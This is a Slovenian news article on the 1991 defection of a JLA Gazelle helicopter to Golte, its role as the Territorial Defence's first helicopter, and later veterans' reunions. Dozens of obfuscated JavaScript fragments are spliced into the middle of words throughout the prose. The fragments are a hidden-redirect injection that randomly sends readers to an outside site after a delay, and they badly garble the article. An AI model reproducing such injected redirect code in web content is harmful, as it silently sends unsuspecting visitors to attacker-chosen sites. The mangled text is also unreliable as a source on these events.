Začetki slovenskih letalskih sil  segajo v letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 1991, ko je  pred sedemnajstimi leti, 28. junija, drugi dan vojne za Slovenijo,  na Golteh nad Mozirjem pristal lahki helikopter takratne JLA gazela SA 341. Z njim sta iz JLA prebegnila  major Jože Kalan in  višji vodnik Bogomir Šuštar. Na srečanju v restavraciji hotela na Golteh je pilot Jože Kalan v prisotnosti mehanika Boga Šuštarja  predal helikopter predstavnikom  takratnega 89. Območnega štaba TO Velenje.  

S tem je takratna Teritobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torialna obramba (TO) Slovenije dobila prvi helikopter. Na Golteh so ga prebarvali, dobil pa je oznako 001-TO Velenje; poimenovali so ga po sedežu 89. območnega štaba. čeprav je bilo prvo bojno plovilo TO Slovenije dobro skritobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, je vseskozi obstajala nevarnost, da ga odkrije JLA. Zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to je bila nujna selitev; najprej na Smrekovec, od tam na domačijo Rezoničnik v Zaloko in nazadnje v Zavodnje nad Šoštanjem, kjer so ga skrili na domačiji Žohar v veliki lopi za kmetijske stroje. Tam je helikopter ostal skrit vse do odhoda JLA iz Slovenije. Iz Zavodnja je poletel na letališče Lajše pri Šoštanju, od tam so ga prepeljali na servis v Nemčijo. Pozneje so se na njem šolali piloti Slovenske vojske; na enem od poletobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov je v bližini Kočevja strmoglavil. Po nesreči so ga sestavili in ga kot muzejski eksponat postavili v letalski bazi Slovenske vojske na letališču na Brniku, kjer stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toji še danes. TV studio Ministrstva za obrambo je leta 2006 posnelo dokumentarno igrani film o prebegu z gazelo. 50-minutni film prikazuje razmere in dogajanje v helikopterski enoti JLA na Brniku pred vojno, pobeg in dogodke, ki so se zgodili po tem. Film si lahko ogledate na spletni strani
OZVVS Velenje http://www.velenje.zvvs.si/video_arhiv_ozvvs.html.

Ob 10-letnici pristanka gazele na Golteh in njeni predaji TO  so na Golteh leta 2001 odkrili spominsko ploščo, Slovenska vojska pa je pilotu in mehaniku Jožetu Kalanu in  Bogu Šuštarju ter drugim zaslužnim, da JLA helikopterja ni odkrila vse do odhoda iz Slovenije, podelila spominski in bojni znak Golte 91. Dobitniki priznanja so se odločili, da se bodo srečevali 28. junija vsako letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to na letališču v Lajšah pri Šoštanju. Takrat so tudi prvič predlagali, da bi 28. junij razglasili za dan helikopterske brigade Slovenske vojske. Predlog so dokončno sprejeli in odločitev posredovali načelniku Generalštaba Slovenske vojske, generalmajorju Ladislavu Lipiču.  Pobudo so poleg OZVVS Velenje podprli  tudi Mestna občina Velenje, občina Šoštanj in občina Šmartno ob Paki. 8. novembra 2004 se je 15. brigada vojaškega letalstva preoblikovala v 15. helikopterski bataljon (HEB), letalsko šolo (LETŠ) in letalsko bazo (LEBA). Poveljstvo sil Slovenske vojske je zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to leta 2004 sprejelo odločitev, da je 28. junij  DAN HELIKOPTERSKEGA BATALJONA SV, zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to  se srečanja udeležujejo tudi predstavniki 15. Helikopterskega bataljona.
 
 V petek 27. junija so se na letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tošnjem že 8. srečanju  zbrali  vsi, ki so sodelovali pri varovanju posadke in prvega helikopterja Slovenske vojske,  dobitniki spominskega in bojnega znaka Golte 91, med katerimi so bili pilot Jože Kalan in tehnik Bogomir   Šuštar ter predstavniki 15. helikopterskega bataljona. Na srečanju, ki ga je  pripravilo Območno združenje  veteranov vojne za Slovenijo Velenje, so znova obudili spomine na dogodke iz leta 1991.